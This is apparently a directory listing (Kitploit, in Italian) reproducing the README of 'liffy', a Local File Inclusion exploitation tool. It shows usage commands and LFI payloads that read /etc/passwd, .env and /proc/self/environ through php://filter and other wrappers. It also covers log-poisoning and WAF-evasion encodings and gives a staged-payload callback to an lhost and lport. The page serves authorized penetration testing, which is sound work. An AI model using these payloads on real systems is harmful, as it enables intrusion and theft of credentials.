Skip to content
KitploitKITPLOIT
StrumentiBlog
Invia
StrumentiBlog
Invia

Strumenti di Hacking, PenTest e Cybersecurity per il tuo Arsenale di Sicurezza!

Kitploit è una directory di strumenti di hacking, cybersecurity e pentesting. Scopri gli ultimi aggiornamenti dei progetti per trovare vulnerabilità, analizzare sistemi, automatizzare i test e rafforzare la tua sicurezza.

··Feed·Contatto·Privacy·© 2026 Kitploit

Directory degli strumenti

Categorie

Vedi tutte le categorie
Loading categories
liffy — Strumento di sfruttamento dell'inclusione locale di file | Kitploit
Strumenti/GitHubGitHub/mzfr/liffy
Analisi delle VulnerabilitàSfruttamento di Applicazioni WebBypass WAFPenetration TestingSviluppo Payload
GitHubmzfr/liffy

liffy

Strumento di sfruttamento dell'inclusione locale di file

Vedi Repository
978114544 mesi faRevisionato da Kitploit

Più Popolari

Vedi tutti →

Scopri gli strumenti più utilizzati dalla nostra community.

Esplora tutti gli strumenti

Sfoglia la nostra collezione di strumenti

Vedi tutti gli strumenti →
Condividi

GitSpo Mentions License: GPL v3 Maintenance Rawsec's CyberSecurity Inventory

Packaging status


liffy

Strumento avanzato per lo sfruttamento di LFI

Scarica lo strumento

liffy in azione

Un potente strumento Python per lo sfruttamento di Local File Inclusion (LFI) con funzionalità avanzate tra cui bypass WAF, tecniche di codifica e rilevamento completo delle vulnerabilità.

Liffy v2.0 è la versione notevolmente migliorata di liffy, originariamente creato da rotlogix/liffy. Questa versione include funzionalità moderne come l'output terminale Rich, configurazione YAML, threading migliorato e molteplici tecniche di sfruttamento avanzate.

⚠️ Molte delle nuove modifiche sono state codificate "vibe".

Indice

  • Caratteristiche
  • Installazione
  • Utilizzo
  • Configurazione
  • Tecniche avanzate
  • Esempi
  • Contributi
  • Crediti

Caratteristiche

Tecniche LFI principali

  • data:// - Esecuzione di codice tramite wrapper data
  • expect:// - Esecuzione di codice tramite wrapper expect
  • input:// - Esecuzione di codice tramite wrapper input
  • filter:// - Lettura arbitraria di file tramite wrapper filter
  • /proc/self/environ - Esecuzione di codice in modalità CGI
  • Avvelenamento access.log di Apache - Sfruttamento dei file di log
  • Avvelenamento auth.log SSH di Linux - Sfruttamento dei log SSH
  • Null Byte Poisoning - Attacchi legacy con byte nulli in PHP
  • Sfruttamento del wrapper ZIP - Attacchi di inclusione file ZIP
  • Rilevamento wrapper - Sondaggi sicuri per i comuni stream wrapper LFI
  • Sondaggi out-of-band - Payload di callback per comportamento wrapper/SSRF cieco
  • Controlli LFI ciechi - Sondaggi di differenza di risposta quando i contenuti del file non si riflettono
  • Modalità scansione automatica - Piano di scansione sicuro che rileva per primo attraverso traversal, wrapper e controlli ciechi

Funzionalità avanzate

  • Evasione WAF - Molteplici tecniche di bypass per WAF comuni
  • Codifica avanzata - Doppia codifica URL, Unicode, variazioni di maiuscole/minuscole
  • Supporto richieste POST - Supporto completo del metodo POST con dati personalizzati
  • Header personalizzati - Intestazioni HTTP configurabili
  • Rotazione User-Agent - User agent casuali per evitare il rilevamento
  • Rate limiting - Limitazione configurabile delle richieste
  • Multi-threading - Gestione avanzata del pool di thread
  • Modalità rilevamento - Scansione delle vulnerabilità senza sfruttamento
  • Output terminale Rich - Output colorato e bello con barre di avanzamento
  • Configurazione YAML - Gestione persistente delle impostazioni

Miglioramenti moderni

  • Rilevamento vulnerabilità migliorato - Analisi avanzata delle risposte con punteggio di confidenza
  • Gestione pool di thread - Prestazioni ottimizzate con threading adattivo
  • Gestione configurazione - Impostazioni basate su YAML con override da CLI
  • Registrazione completa - Report di esecuzione dettagliati e tracciamento dei progressi

Installazione

Assicurati di utilizzare Python 3. Liffy non supporta Python 2. Gli esempi seguenti usano uv run python in modo che i comandi vengano eseguiti all'interno dell'ambiente del progetto.

root@kitploit:~
# Installa uv se non lo hai già
curl -LsSf https://astral.sh/uv/install.sh | sh

# Clona il repository
git clone https://github.com/mzfr/liffy
cd liffy

# Crea un ambiente virtuale con uv
uv venv

# Installa le dipendenze da pyproject.toml
uv sync

# Esegui liffy
uv run python liffy.py --help

Utilizzo

Sintassi di base

root@kitploit:~
uv run python liffy.py <URL> [OPZIONI]

Opzioni da riga di comando

root@kitploit:~
usage: liffy.py [-h] [-d] [-i] [-e] [-f] [-p] [-a] [-ns] [-r] [--ssh]
                [-l LOCATION] [--cookies COOKIES] [-dt] [-t THREADS]
                [--detection] [--null-byte] [--zip] [--encoding]
                [--waf-bypass] [--method {GET,POST}] [--post-data POST_DATA]
                [--headers HEADERS] [--lhost LHOST] [--lport LPORT]
                [--read-file READ_FILE] [-y] [--timeout TIMEOUT]
                [--proxy PROXY] [--verify-tls] [--user-agent USER_AGENT]
                [--oob] [--oob-url OOB_URL] [--blind] [--blind-list BLIND_LIST]
                [--auto] [--delay DELAY] [--retries RETRIES] [--json] [--output OUTPUT]
                [--quiet] [--no-color] [--no-banner] [--config]
                [url]

argomenti posizionali:
  url                   URL da testare per LFI

Tecniche principali:
  -d, --data            Usa la tecnica data://
  -i, --input           Usa la tecnica input://
  -e, --expect          Usa la tecnica expect://
  -f, --filter          Usa la tecnica filter://
  -p, --proc            Usa la tecnica /proc/self/environ
  -a, --access          Tecnica dei log di accesso Apache
  --ssh                 Avvelenamento log auth SSH
  -dt, --directorytraverse  Test per Directory Traversal
  --null-byte           Test per Null Byte Poisoning
  --zip                 Test per sfruttamento wrapper ZIP
  --wrappers, --wrapper Rileva i comuni stream wrapper LFI
  --wrapper-list WRAPPER_LIST
                        Percorso verso un elenco personalizzato di payload di sonda per wrapper
  --oob                 Invia sondaggi di callback out-of-band
  --oob-url OOB_URL     URL base di callback OOB
  --blind               Esegui controlli LFI ciechi basati su differenze di risposta
  --blind-list BLIND_LIST
                        Percorso verso un elenco personalizzato di sonde LFI cieche
  --auto                Esegui un piano di scansione automatica sicuro

Opzioni avanzate:
  --encoding            Usa tecniche di codifica/bypass avanzate
  --waf-bypass          Usa tecniche di evasione WAF
  --method {GET,POST}   Metodo HTTP da utilizzare (default: GET)
  --post-data POST_DATA Dati POST (formato: key=value&key2=value2)
  --headers HEADERS     Header personalizzati (formato: Header1:Value1,Header2:Value2)
  --detection           Esegui solo rilevamento LFI, nessuno sfruttamento

Opzioni richiesta:
  --timeout TIMEOUT     Timeout della richiesta HTTP in secondi
  --proxy PROXY         URL proxy HTTP(S), es. http://127.0.0.1:8080
  --verify-tls          Verifica i certificati TLS invece di usare richieste non sicure
  --user-agent UA       Header User-Agent personalizzato
  --delay DELAY         Ritardo tra le richieste in secondi
  --retries RETRIES     Tentativi HTTP per richiesta

Opzioni automazione:
  --lhost LHOST         Host di callback per payload staged
  --lport LPORT         Porta di callback per payload staged
  --read-file PATH      Percorso del file da leggere con filter://
  -y, --yes             Usa valori predefiniti per i prompt ed esegui in modo non interattivo
  --json                Stampa un riepilogo JSON dell'esecuzione
  --output OUTPUT       Scrivi il riepilogo JSON in un file
  --quiet               Sopprime l'output terminale normale

Opzioni generali:
  -ns, --nostager       Esegui direttamente il payload, non usare stager
  -r, --relative        Usa sequenze di path traversal per l'attacco
  -l, --location LOCATION  Percorso del file target (access log, auth log, ecc.)
  --cookies COOKIES     Cookie di sessione per autenticazione
  -t, --threads THREADS Numero di thread da utilizzare (default: 5)
  --no-color            Disabilita output colorato
  --no-banner           Disabilita visualizzazione banner
  --config              Crea file di configurazione YAML predefinito

Configurazione

Configurazione YAML

Crea un file di configurazione per impostazioni persistenti:

root@kitploit:~
uv run python liffy.py --config

Questo crea liffy_config.yaml con impostazioni predefinite:

root@kitploit:~
# File di configurazione Liffy
max_threads: 5
rate_limit_delay: 0.1
disable_colors: false
disable_banner: false
quiet: false
default_method: GET
user_agent_rotation: true
request_timeout: 15
proxy: null
verify_tls: false
retries: 0

Imposta disable_banner: true per nascondere il banner/logo iniziale per impostazione predefinita. I flag CLI sovrascrivono comunque i valori di configurazione, quindi puoi anche usare --no-banner, --no-color o --quiet per esecuzioni singole.

Variabili d'ambiente

Puoi anche usare variabili d'ambiente:

  • LIFFY_THREADS - Numero di thread
  • LIFFY_RATE_LIMIT - Ritardo del rate limiting
  • LIFFY_NO_COLOR - Disabilita colori (true/false)

Tecniche avanzate

Tecniche di evasione WAF

Quando --waf-bypass è attivo, liffy applica automaticamente molteplici tecniche di evasione:

  • Iniezione di commenti: /**/, #, ;
  • Confusione di protocollo: file:///, pHp://
  • Stratificazione di codifica: Combinazioni multiple di codifiche
  • Offuscamento del percorso: ./, ../, byte nulli

Tecniche di bypass tramite codifica

Con --encoding, liffy applica metodi di codifica avanzati:

  • Doppia codifica URL: %252e%252e%252f
  • Codifica Unicode: \u002e\u002e\u002f
  • Casi misti: ..%2F, ..%2f
  • Codifica entità HTML: &#46;&#46;&#47;

Supporto richieste POST

root@kitploit:~
# POST con dati del modulo
uv run python liffy.py "http://target.com/lfi.php" -d --method POST --post-data "file=../../etc/passwd"

# POST con header personalizzati
uv run python liffy.py "http://target.com/lfi.php" -d --method POST --headers "X-Forwarded-For:127.0.0.1,Authorization:Bearer token123"

Ottimizzazione delle richieste

root@kitploit:~
# Invia traffico attraverso un proxy locale e riprova in caso di fallimenti transitori
uv run python liffy.py "http://target.com/lfi.php?file=" -d \
  --proxy "http://127.0.0.1:8080" --timeout 20 --retries 2

# Usa un User-Agent fisso e un ritardo personalizzato tra le richieste
uv run python liffy.py "http://target.com/lfi.php?file=" --detection -f \
  --user-agent "liffy/2.0" --delay 0.5

Esempi

Test LFI di base

Test con wrapper data://

root@kitploit:~
uv run python liffy.py "http://example.com/page.php?file=" -d

Test con tecniche multiple

root@kitploit:~
uv run python liffy.py "http://example.com/page.php?file=" -d -i -e -f

Solo modalità rilevamento

root@kitploit:~
uv run python liffy.py "http://example.com/page.php?file=" --detection -d -i -e

Utilizzo avanzato

Bypass WAF con codifica

root@kitploit:~
uv run python liffy.py "http://example.com/page.php?file=" -d --waf-bypass --encoding

Multi-thread con rate limiting

root@kitploit:~
uv run python liffy.py "http://example.com/page.php?file=" -d -t 10 --config

Richiesta POST con header personalizzati

root@kitploit:~
uv run python liffy.py "http://example.com/upload.php" -d --method POST \
  --post-data "action=read&file=../../etc/passwd" \
  --headers "User-Agent:Mozilla/5.0,X-Forwarded-For:192.168.1.1"

Avvelenamento log

Avvelenamento access log di Apache

root@kitploit:~
uv run python liffy.py "http://example.com/page.php?file=" -a

Avvelenamento log auth SSH

root@kitploit:~
uv run python liffy.py "http://example.com/page.php?file=" --ssh

Posizione personalizzata del log

root@kitploit:~
uv run python liffy.py "http://example.com/page.php?file=" -a -l "/var/log/apache2/access.log"

Directory Traversal

Path traversal relativo

root@kitploit:~
uv run python liffy.py "http://example.com/page.php?file=" -d -r

Test di directory traversal

root@kitploit:~
uv run python liffy.py "http://example.com/page.php?file=" -dt

Tecniche speciali

Null byte poisoning (PHP legacy)

root@kitploit:~
uv run python liffy.py "http://example.com/page.php?file=" --null-byte

Sfruttamento wrapper ZIP

root@kitploit:~
uv run python liffy.py "http://example.com/page.php?file=" --zip

Rilevamento wrapper comuni

root@kitploit:~
uv run python liffy.py "http://example.com/page.php?file=" --wrappers

Il rilevamento wrapper utilizza sonde predefinite sicure per file://, php://filter, data://, php://temp, php://memory e wrapper correlati. zip://, phar:// e glob:// sono trattati come informativi/condizionali perché di solito richiedono file lato target o un comportamento sink che esponga elenchi.

Puoi fornire un elenco personalizzato di payload per wrapper. Se --wrapper-list viene omesso, liffy ricade sulle sonde integrate:

root@kitploit:~
uv run python liffy.py "http://example.com/page.php?file=" --wrapper \
  --wrapper-list payload_wordlists/wrappers.txt

Ogni riga non vuota può essere un payload grezzo o nome=payload:

root@kitploit:~
php-filter-passwd=php://filter/read=convert.base64-encode/resource=/etc/passwd
file-winini=file:///c:/windows/win.ini

Sonde di callback out-of-band

root@kitploit:~
uv run python liffy.py "http://example.com/page.php?file=" --oob \
  --oob-url "https://example.oast.site"

Usalo con un listener di callback HTTP/DNS. Liffy invia payload in stile URL-wrapper e tu verifichi se il target richiama.

Controlli LFI ciechi

root@kitploit:~
uv run python liffy.py "http://example.com/page.php?file=" --blind

I controlli ciechi confrontano sonde di file esistenti con baseline di file mancanti casuali e riportano differenze di stato, lunghezza o tempistica quando il contenuto non viene riflesso direttamente.

Puoi fornire un elenco personalizzato di sonde cieche. Se --blind-list viene omesso o è vuoto, liffy usa sonde integrate:

root@kitploit:~
uv run python liffy.py "http://example.com/page.php?file=" --blind \
  --blind-list payload_wordlists/blind_lfi.txt

Ogni riga non vuota può essere un payload grezzo o nome=payload:

root@kitploit:~
linux-passwd=/etc/passwd
proc-environ=/proc/self/environ
laravel-env=.env

Scansione automatica sicura

root@kitploit:~
uv run python liffy.py "http://example.com/page.php?file=" --auto

--auto abilita il solo rilevamento di directory traversal, controlli wrapper e controlli ciechi. Se viene fornito anche --oob-url, include sonde OOB.

Scansione completa con tutte le tecniche

root@kitploit:~
uv run python liffy.py "http://example.com/page.php?file=" \
  -d -i -e -f -p -a --ssh -dt --null-byte --zip --wrappers --blind \
  --encoding --waf-bypass --detection

Autenticazione e Cookie

Utilizzo di cookie di sessione

root@kitploit:~
uv run python liffy.py "http://example.com/page.php?file=" -d \
  --cookies "PHPSESSID=abc123; auth_token=xyz789"

Utilizzo scriptato / non interattivo

Fornire valori di callback senza prompt

root@kitploit:~
uv run python liffy.py "http://example.com/page.php?file=" -d \
  --lhost 10.10.14.2 --lport 4444 --yes

Leggere un file specifico con filter:// senza prompt

root@kitploit:~
uv run python liffy.py "http://example.com/page.php?file=" -f \
  --read-file /etc/passwd --yes

Output strutturato

Stampare un riepilogo JSON dell'esecuzione

root@kitploit:~
uv run python liffy.py "http://example.com/page.php?file=" --detection -f --json

Scrivere un riepilogo JSON su disco mantenendo l'output terminale

root@kitploit:~
uv run python liffy.py "http://example.com/page.php?file=" --detection -f \
  --output findings.json

Controllo dell'output

Disabilitare colori e banner

root@kitploit:~
uv run python liffy.py "http://example.com/page.php?file=" -d --no-color --no-banner

Sopprimere l'output terminale normale

root@kitploit:~
uv run python liffy.py "http://example.com/page.php?file=" --detection -f --quiet --output findings.json

Posizioni predefinite dei file

Le seguenti posizioni predefinite vengono utilizzate quando non viene specificato un percorso personalizzato:

  • auth.log SSH: /var/log/auth.log
  • access.log Apache: /var/log/apache2/access.log
  • Log Apache alternativo: /var/log/httpd/access_log

Contributi

Accogliamo con favore i contributi! Ecco come puoi aiutare:

Suggerimenti di funzionalità

  • Nuove tecniche di sfruttamento LFI
  • Ulteriori metodi di bypass WAF
  • Tecniche di codifica migliorate
  • Ottimizzazione dei payload
  • Miglioramenti al rilevamento

Segnalazioni di bug

  • Segnala problemi tramite GitHub Issues
  • Includi passaggi dettagliati per la riproduzione
  • Fornisci dettagli sull'ambiente di destinazione

Pull Request

  • Fai il fork del repository
  • Crea un branch per la funzionalità
  • Apporta le modifiche con i test
  • Invia una pull request

Sentiti libero di aprire un issue per qualsiasi domanda o suggerimento!

Rilevamento vulnerabilità

La modalità di rilevamento di Liffy fornisce un'analisi completa delle vulnerabilità:

Punteggio di confidenza

  • Confidenza alta (80-100%): Indicatori forti come contenuto di /etc/passwd
  • Confidenza media (50-79%): Contenuto parziale del file o risposte sospette
  • Confidenza bassa (20-49%): Potenziali indicatori che richiedono verifica manuale

Funzionalità di rilevamento

  • Analisi del contenuto del file: Riconosce pattern di file Linux, Windows e PHP
  • Analisi delle risposte: Codici di stato HTTP, lunghezza del contenuto, analisi della tempistica
  • Rilevamento WAF: Identifica le firme comuni dei WAF
  • Raccolta di prove: Cattura prova della vulnerabilità per la reportistica

Esempio di output di rilevamento

root@kitploit:~
[+] RIEPILOGO VULNERABILITÀ
==================================================
[1] Vulnerabilità trovata
    Payload: ../../etc/passwd
    Confidenza: 85%
    Prova: File /etc/passwd di Linux: root:
    Codice stato: 200
    Lunghezza contenuto: 1547

Risoluzione dei problemi

Problemi comuni

Richieste bloccate dal WAF

root@kitploit:~
# Usa tecniche di bypass WAF
uv run python liffy.py "http://target.com/lfi.php" -d --waf-bypass

# Riduci il numero di thread e aumenta i ritardi
uv run python liffy.py "http://target.com/lfi.php" -d -t 1

Problemi di rate limiting

root@kitploit:~
# Aumenta il ritardo nel file di configurazione
max_threads: 2
rate_limit_delay: 1.0

Modalità di debug

Per un output più dettagliato, puoi modificare la configurazione:

root@kitploit:~
debug_mode: true
verbose_output: true

Avviso di sicurezza

Liffy è progettato solo per test di sicurezza autorizzati.

  • Utilizzalo solo su sistemi di tua proprietà o per cui hai esplicita autorizzazione
  • Segui le pratiche di divulgazione responsabile
  • Rispetta i limiti di frequenza e evita condizioni DoS
  • Sii consapevole delle implicazioni legali nella tua giurisdizione

Gli autori non sono responsabili per l'uso improprio di questo strumento.

Crediti

Ispirazione originale

  • liffy originale di hvqzao
  • Concetto iniziale da rotlogix/liffy

Tecniche e ricerca

  • Tecniche di sfruttamento LFI da varie ricerche sulla sicurezza
  • Metodi di bypass WAF da risorse pubbliche sulla sicurezza
  • Documentazione sullo sfruttamento dei wrapper PHP

Design e risorse

  • Logo progettato con renderforest
  • Stile terminale basato sulla libreria Rich

Licenza

Questo progetto è concesso in licenza sotto la GNU General Public License v3.0 - consulta il file LICENSE per i dettagli.